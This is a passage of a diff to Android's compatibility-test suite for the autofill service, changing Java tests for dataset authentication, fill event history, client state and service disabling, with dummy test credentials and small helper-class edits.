+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Tap authentication request.
+        sUiBot.selectDataset("Tap to auth dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Now trigger save.
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert client state on authentication activity.
+        assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
+
+        // Assert client state on save request.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? "FromResponse" : "FromIntent";
+        assertClientState("on save", saveRequest.data, "CSI", expectedValue);
+    }
+
+    @Test
     public void testDisableSelf() throws Exception {
         enableService();
 
@@ -2938,408 +3416,6 @@
     }
 
     @Test
-    public void checkFillSelectionAfterSelectingDatasetAuthentication() throws Exception {
-        enableService();
-
-        // Set up FillResponse with dataset authentication
-        Bundle clientState = new Bundle();
-        clientState.putCharSequence("clientStateKey", "clientStateValue");
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("Dataset"))
-                        .build());
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setId("name")
-                        .setPresentation(createPresentation("authentication"))
-                        .setAuthentication(authentication)
-                        .build())
-                .setExtras(clientState).build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Authenticate
-        sUiBot.selectDataset("authentication");
-        sReplier.getNextFillRequest();
-        mActivity.assertAutoFilled();
-
-        // Verify fill selection
-        FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                .getFillEventHistory();
-        assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
-                "clientStateValue");
-
-        assertThat(selection.getEvents().size()).isEqualTo(1);
-        FillEventHistory.Event event = selection.getEvents().get(0);
-        assertThat(event.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
-        assertThat(event.getDatasetId()).isEqualTo("name");
-    }
-
-    @Test
-    public void checkFillSelectionAfterSelectingAuthentication() throws Exception {
-        enableService();
-
-        // Set up FillResponse with response wide authentication
-        Bundle clientState = new Bundle();
-        clientState.putCharSequence("clientStateKey", "clientStateValue");
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "username")
-                                .setId("name")
-                                .setPresentation(createPresentation("dataset"))
-                                .build())
-                        .setExtras(clientState).build());
-
-        sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
-                .setPresentation(createPresentation("authentication"))
-                .setAuthentication(authentication, ID_USERNAME)
-                .build());
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Authenticate
-        sUiBot.selectDataset("authentication");
-        sReplier.getNextFillRequest();
-        sUiBot.assertDatasets("dataset");
-
-        // Verify fill selection
-        FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                .getFillEventHistory();
-        assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
-                "clientStateValue");
-
-        assertThat(selection.getEvents().size()).isEqualTo(1);
-        FillEventHistory.Event event = selection.getEvents().get(0);
-        assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
-        assertThat(event.getDatasetId()).isNull();
-    }
-
-    @Test
-    public void checkFillSelectionAfterSelectingTwoDatasets() throws Exception {
-        enableService();
-
-        // Set up first partition with an anonymous dataset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        waitUntilConnected();
-        sUiBot.selectDataset("dataset1");
-        sReplier.getNextFillRequest();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection.getClientState()).isNull();
-
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            FillEventHistory.Event event = selection.getEvents().get(0);
-            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
-            assertThat(event.getDatasetId()).isNull();
-        }
-
-        // Set up second partition with a named dataset
-        Bundle clientState = new Bundle();
-        clientState.putCharSequence("clientStateKey", "clientStateValue");
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_PASSWORD, "password2")
-                                .setPresentation(createPresentation("dataset2"))
-                                .setId("name2")
-                                .build())
-                .addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_PASSWORD, "password3")
-                                .setPresentation(createPresentation("dataset3"))
-                                .setId("name3")
-                                .build())
-                .setExtras(clientState)
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
-        mActivity.expectPasswordAutoFill("password3");
-
-        // Trigger autofill on password
-        mActivity.onPassword(View::requestFocus);
-        sUiBot.selectDataset("dataset3");
-        sReplier.getNextFillRequest();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
-                    "clientStateValue");
-
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            FillEventHistory.Event event = selection.getEvents().get(0);
-            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
-            assertThat(event.getDatasetId()).isEqualTo("name3");
-        }
-
-        mActivity.onPassword((v) -> v.setText("new password"));
-        mActivity.syncRunOnUiThread(() -> mActivity.finish());
-        waitUntilDisconnected();
-
-        {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
-                    "clientStateValue");
-
-            assertThat(selection.getEvents().size()).isEqualTo(2);
-            FillEventHistory.Event event1 = selection.getEvents().get(0);
-            assertThat(event1.getType()).isEqualTo(TYPE_DATASET_SELECTED);
-            assertThat(event1.getDatasetId()).isEqualTo("name3");
-
-            FillEventHistory.Event event2 = selection.getEvents().get(1);
-            assertThat(event2.getType()).isEqualTo(TYPE_SAVE_SHOWN);
-            assertThat(event2.getDatasetId()).isNull();
-        }
-    }
-
-    @Test
-    public void checkFillSelectionIsResetAfterReturningNull() throws Exception {
-        enableService();
-
-        // First reset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        mActivity.onUsername(View::requestFocus);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        sUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection.getClientState()).isNull();
-
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            FillEventHistory.Event event = selection.getEvents().get(0);
-            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
-            assertThat(event.getDatasetId()).isNull();
-        }
-
-        // Second request
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-        sUiBot.assertNoDatasets();
-        waitUntilDisconnected();
-
-        {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection).isNull();
-        }
-    }
-
-    @Test
-    public void checkFillSelectionIsResetAfterReturningError() throws Exception {
-        enableService();
-
-        // First reset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        mActivity.onUsername(View::requestFocus);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        sUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection.getClientState()).isNull();
-
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            FillEventHistory.Event event = selection.getEvents().get(0);
-            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
-            assertThat(event.getDatasetId()).isNull();
-        }
-
-        // Second request
-        sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-        sUiBot.assertNoDatasets();
-        waitUntilDisconnected();
-
-        {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection).isNull();
-        }
-    }
-
-    @Test
-    public void checkFillSelectionIsResetAfterTimeout() throws Exception {
-        enableService();
-
-        // First reset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        mActivity.onUsername(View::requestFocus);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        sUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection.getClientState()).isNull();
-
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            FillEventHistory.Event event = selection.getEvents().get(0);
-            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
-            assertThat(event.getDatasetId()).isNull();
-        }
-
-        // Second request
-        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-        waitUntilDisconnected();
-
-        {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection).isNull();
-        }
-    }
-
-    private Bundle getBundle(String key, String value) {
-        final Bundle bundle = new Bundle();
-        bundle.putString(key, value);
-        return bundle;
-    }
-
-    /**
-     * Tests the following scenario:
-     *
-     * <ol>
-     *    <li>Activity A is launched.
-     *    <li>Activity A triggers autofill.
-     *    <li>Activity B is launched.
-     *    <li>Activity B triggers autofill.
-     *    <li>User goes back to Activity A.
-     *    <li>User triggers save on Activity A - at this point, service should have stats of
-     *        activity B, and stats for activity A should have beeen discarded.
-     * </ol>
-     */
-    @Test
-    public void checkFillSelectionFromPreviousSessionIsDiscarded() throws Exception {
-        enableService();
-
-        // Launch activity A
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setExtras(getBundle("activity", "A"))
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger autofill on activity A
-        mActivity.onUsername(View::requestFocus);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-
-        // Verify fill selection for Activity A
-        FillEventHistory selectionA = InstrumentedAutoFillService.peekInstance()
-                .getFillEventHistory();
-        assertThat(selectionA.getClientState().getString("activity")).isEqualTo("A");
-        assertThat(selectionA.getEvents()).isNull();
-
-        // Launch activity B
-        mContext.startActivity(new Intent(mContext, CheckoutActivity.class));
-
-        // Trigger autofill on activity B
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setExtras(getBundle("activity", "B"))
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_CC_NUMBER, "4815162342")
-                        .setPresentation(createPresentation("datasetB"))
-                        .build())
-                .build());
-        sUiBot.focusByRelativeId(ID_CC_NUMBER);
-        sReplier.getNextFillRequest();
-
-        // Verify fill selection for Activity B
-        final FillEventHistory selectionB = InstrumentedAutoFillService.peekInstance()
-                .getFillEventHistory();
-        assertThat(selectionB.getClientState().getString("activity")).isEqualTo("B");
-        assertThat(selectionB.getEvents()).isNull();
-
-        // Now switch back to A...
-        sUiBot.pressBack(); // dismiss keyboard
-        sUiBot.pressBack(); // dismiss task
-        sUiBot.assertShownByRelativeId(ID_USERNAME);
-        // ...and trigger save
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        sReplier.getNextSaveRequest();
-
-        // Finally, make sure history is right
-        final FillEventHistory finalSelection = InstrumentedAutoFillService.peekInstance()
-                .getFillEventHistory();
-        assertThat(finalSelection.getClientState().getString("activity")).isEqualTo("B");
-        assertThat(finalSelection.getEvents()).isNull();
-
-    }
-
-    @Test
     public void testIsServiceEnabled() throws Exception {
         disableService();
         final AutofillManager afm = mActivity.getAutofillManager();
@@ -3395,6 +3471,45 @@
     }
 
     @Test
+    public void testServiceIsDisabledWhenNewServiceInfoIsInvalid() throws Exception {
+        serviceIsDisabledWhenNewServiceIsInvalid(BadAutofillService.SERVICE_NAME);
+    }
+
+    @Test
+    public void testServiceIsDisabledWhenNewServiceNameIsInvalid() throws Exception {
+        serviceIsDisabledWhenNewServiceIsInvalid("Y_U_NO_VALID");
+    }
+
+    private void serviceIsDisabledWhenNewServiceIsInvalid(String serviceName) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("The Dude");
+
+        // Now disable service by setting another service...
+        Helper.enableAutofillService(mContext, serviceName);
+
+        // ...and make sure popup's gone
+        sUiBot.assertNoDatasets();
+
+        // Then try to trigger autofill again...
+        mActivity.onPassword(View::requestFocus);
+        //...it should not work!
+        sUiBot.assertNoDatasets();
+    }
+
+    @Test
     public void testAutofillMovesCursorToTheEnd() throws Exception {
         // Set service.
         enableService();
@@ -3491,4 +3606,27 @@
         waitUntilDisconnected();
         listener.assertOnCancelCalled();
     }
+
+    @Test
+    public void testNewTextAttributes() throws Exception {
+        enableService();
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.onUsername(View::requestFocus);
+
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
+        assertThat(username.getMinTextEms()).isEqualTo(2);
+        assertThat(username.getMaxTextEms()).isEqualTo(5);
+        assertThat(username.getMaxTextLength()).isEqualTo(25);
+
+        final ViewNode container = findNodeByResourceId(request.structure, ID_USERNAME_CONTAINER);
+        assertThat(container.getMinTextEms()).isEqualTo(-1);
+        assertThat(container.getMaxTextEms()).isEqualTo(-1);
+        assertThat(container.getMaxTextLength()).isEqualTo(-1);
+
+        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
+        assertThat(password.getMinTextEms()).isEqualTo(-1);
+        assertThat(password.getMaxTextEms()).isEqualTo(-1);
+        assertThat(password.getMaxTextLength()).isEqualTo(-1);
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
deleted file mode 100644
index 52c3bcc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.support.annotation.NonNull;
-import android.support.annotation.Nullable;
-import android.util.Log;
-
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Helper used to catch multiple exceptions that might have happened in a test case.
- */
-// TODO: move to common CTS code (and add test cases to it)
-public final class MultipleExceptionsCatcher {
-
-    private static final String TAG = "MultipleExceptionsCatcher";
-
-    private final List<Throwable> mThrowables = new ArrayList<>();
-
-    /**
-     * Runs {@code r} postponing any thrown exception to {@link #throwIfAny()}.
-     */
-    public MultipleExceptionsCatcher run(@NonNull Runnable r) {
-        try {
-            r.run();
-        } catch (Throwable t) {
-            mThrowables.add(t);
-        }
-        return this;
-    }
-
-    /**
-     * Adds an exception - if it's not {@code null} to the exceptions thrown by
-     * {@link #throwIfAny()}.
-     */
-    public MultipleExceptionsCatcher add(@Nullable Throwable t) {
-        if (t != null) {
-            mThrowables.add(t);
-        }
-        return this;
-    }
-
-    /**
-     * Throws one exception merging all exceptions thrown or added so far, if any.
-     */
-    public void throwIfAny() throws Throwable {
-        if (mThrowables.isEmpty()) return;
-
-        final int numberExceptions = mThrowables.size();
-        if (numberExceptions == 1) {
-            throw mThrowables.get(0);
-        }
-
-        String msg = "D'OH!";
-        try {
-            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
-                sw.write("Caught " + numberExceptions + " exceptions\n");
-                for (int i = 0; i < numberExceptions; i++) {
-                    sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
-                    final Throwable exception = mThrowables.get(i);
-                    exception.printStackTrace(pw);
-                    sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
-                }
-                msg = sw.toString();
-            }
-        } catch (IOException e) {
-            // ignore close() errors - should not happen...
-            Log.e(TAG, "Exception closing StringWriter: " + e);
-        }
-        throw new AssertionError(msg);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
index b264a46..8e8c7e0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
@@ -26,7 +26,7 @@
 import java.util.concurrent.TimeUnit;
 
 /**
- * Custom {@link RadioGroup.OnCheckedChangeListener} used to assert an
+ * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
  * {@link RadioGroup} was auto-filled properly.
  */
 final class MultipleTimesRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
index 1ba8755..50d1d6c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
@@ -20,6 +20,7 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.util.Log;
 import android.view.View;
 import android.view.autofill.AutofillManager.AutofillCallback;
 
@@ -32,15 +33,18 @@
  */
 final class MyAutofillCallback extends AutofillCallback {
 
+    private static final String TAG = "MyAutofillCallback";
     private final BlockingQueue<MyEvent> mEvents = new LinkedBlockingQueue<>();
 
     @Override
     public void onAutofillEvent(View view, int event) {
+        Log.v(TAG, "onAutofillEvent: view=" + view + ", event=" + event);
         mEvents.offer(new MyEvent(view, event));
     }
 
     @Override
     public void onAutofillEvent(View view, int childId, int event) {
+        Log.v(TAG, "onAutofillEvent: view=" + view + ", child=" + childId + ", event=" + event);
         mEvents.offer(new MyEvent(view, childId, event));
     }
 
@@ -56,6 +60,17 @@
     }
 
     /**
+     * Assert no more events were received.
+     */
+    void assertNotCalled() throws InterruptedException {
+        final MyEvent event = mEvents.poll(CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        if (event != null) {
+            // Not retryable.
+            throw new IllegalStateException("should not have received " + event);
+        }
+    }
+
+    /**
      * Used to assert there is no event left behind.
      */
     void assertNumberUnhandledEvents(int expected) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
new file mode 100644
index 0000000..fa233dd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.util.SparseArray;
+import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link WebView} used to assert contents were autofilled.
+ */
+public class MyWebView extends WebView {
+
+    private FillExpectation mExpectation;
+
+    public MyWebView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+    }
+
+    public void expectAutofill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+    }
+
+    public void assertAutofilled() throws Exception {
+        assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
+        final boolean set = mExpectation.mLatch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        if (mExpectation.mException != null) {
+            throw mExpectation.mException;
+        }
+        assertWithMessage("Timeout (%s ms) expecting autofill()", FILL_TIMEOUT_MS)
+                .that(set).isTrue();
+        assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
+                .isEqualTo(mExpectation.mExpectedUsername);
+        assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
+                .isEqualTo(mExpectation.mExpectedPassword);
+    }
+
+    @Override
+    public void autofill(SparseArray<AutofillValue> values) {
+        super.autofill(values);
+
+        if (mExpectation == null) return;
+
+        try {
+            if (values == null || values.size() != 2) {
+                mExpectation.mException =
+                        new IllegalArgumentException("Invalid values on autofill(): " + values);
+            } else {
+                try {
+                    mExpectation.mActualUsername = values.valueAt(0).getTextValue().toString();
+                    mExpectation.mActualPassword = values.valueAt(1).getTextValue().toString();
+                } catch (Exception e) {
+                    mExpectation.mException = e;
+                }
+            }
+        } finally {
+            mExpectation.mLatch.countDown();
+        }
+    }
+
+    private class FillExpectation {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final String mExpectedUsername;
+        private final String mExpectedPassword;
+        private String mActualUsername;
+        private String mActualPassword;
+        private Exception mException;
+
+        FillExpectation(String username, String password) {
+            this.mExpectedUsername = username;
+            this.mExpectedPassword = password;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
index 4255b6d..a75ded8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
@@ -21,21 +21,26 @@
 import android.service.autofill.FillRequest;
 import android.service.autofill.SaveCallback;
 import android.service.autofill.SaveRequest;
+import android.util.Log;
 
 /**
  * {@link AutofillService} implementation that does not do anything...
  */
 public class NoOpAutofillService extends AutofillService {
 
+    private static final String TAG = "NoOpAutofillService";
+
     static final String SERVICE_NAME = NoOpAutofillService.class.getPackage().getName()
             + "/." + NoOpAutofillService.class.getSimpleName();
 
     @Override
     public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
             FillCallback callback) {
+        Log.d(TAG, "onFillRequest()");
     }
 
     @Override
     public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        Log.d(TAG, "onFillResponse()");
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
index d458940..0c5428a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
@@ -23,6 +23,7 @@
 import static android.autofillservice.cts.GridActivity.ID_L3C2;
 import static android.autofillservice.cts.GridActivity.ID_L4C1;
 import static android.autofillservice.cts.GridActivity.ID_L4C2;
+import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
 import static android.autofillservice.cts.Helper.assertTextIsSanitized;
 import static android.autofillservice.cts.Helper.assertValue;
 import static android.autofillservice.cts.Helper.getContext;
@@ -46,7 +47,6 @@
 import android.content.IntentSender;
 import android.os.Bundle;
 import android.service.autofill.FillResponse;
-import android.widget.RemoteViews;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -1310,10 +1310,6 @@
         // Set service.
         enableService();
 
-        // TODO: current API requires these fields...
-        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
-        final String bogusValue = "Y U REQUIRE IT?";
-
         /**
          * 1st partition.
          */
@@ -1322,19 +1318,18 @@
                 new CannedDataset.Builder()
                         .setField(ID_L1C1, "l1c1")
                         .setField(ID_L1C2, "l1c2")
-                        .setPresentation(bogusPresentation)
                         .build());
         final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
         final CannedFillResponse response1 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth11)
-                        .setField(ID_L1C1, bogusValue)
-                        .setField(ID_L1C2, bogusValue)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("P1D1"))
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth12)
-                        .setField(ID_L1C1, bogusValue)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("P1D2"))
                         .build())
                 .build();
@@ -1365,19 +1360,18 @@
         final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
                 new CannedDataset.Builder()
                     .setField(ID_L2C2, "L2C2")
-                    .setPresentation(bogusPresentation)
                     .build());
         final CannedFillResponse response2 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth21)
                         .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, bogusValue)
-                        .setField(ID_L2C2, bogusValue)
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth22)
                         .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, bogusValue)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .build();
         sReplier.addResponse(response2);
@@ -1406,21 +1400,20 @@
                 new CannedDataset.Builder()
                         .setField(ID_L3C1, "l3c1")
                         .setField(ID_L3C2, "l3c2")
-                        .setPresentation(bogusPresentation)
                         .build());
         final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
         final CannedFillResponse response3 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth31)
                         .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, bogusValue)
-                        .setField(ID_L3C2, bogusValue)
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth32)
                         .setPresentation(createPresentation("P3D2"))
